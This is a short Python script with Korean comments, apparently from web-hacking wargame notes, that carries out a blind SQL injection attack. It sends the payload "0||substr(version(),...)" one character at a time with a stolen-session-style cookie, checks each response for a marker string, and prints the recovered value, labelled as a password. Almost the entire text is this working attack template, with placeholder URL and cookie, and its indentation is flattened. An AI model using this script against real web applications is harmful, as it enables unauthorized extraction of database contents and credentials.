import urllib, requests
import string
url = "URL"
headers = {"Cookie" : "PHPSESSID=세션 값"}
# 아래 값들로 구성된 문자열
# 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*,-./:;<=>?@[\]^_`{|}~
items = (string.printable).replace('+','').strip()
def get_password(index):
for i in items:
value = "0||substr(version(),{},1)='{}'".format(str(index),i)
# GET
r = requests.get(url, params={"val" : value}, headers = headers)
# POST
# r = requests.post(url, data={"val" : value}, headers = headers)
if "구분 값" in r.text:
print(i,end="")
return True
return False
############### Get PASSWORD ################
ret = True
index = 0
print("PASSWORD - ",end="")
while ret:
index += 1
ret = get_password(index)
##############################################
Python
복사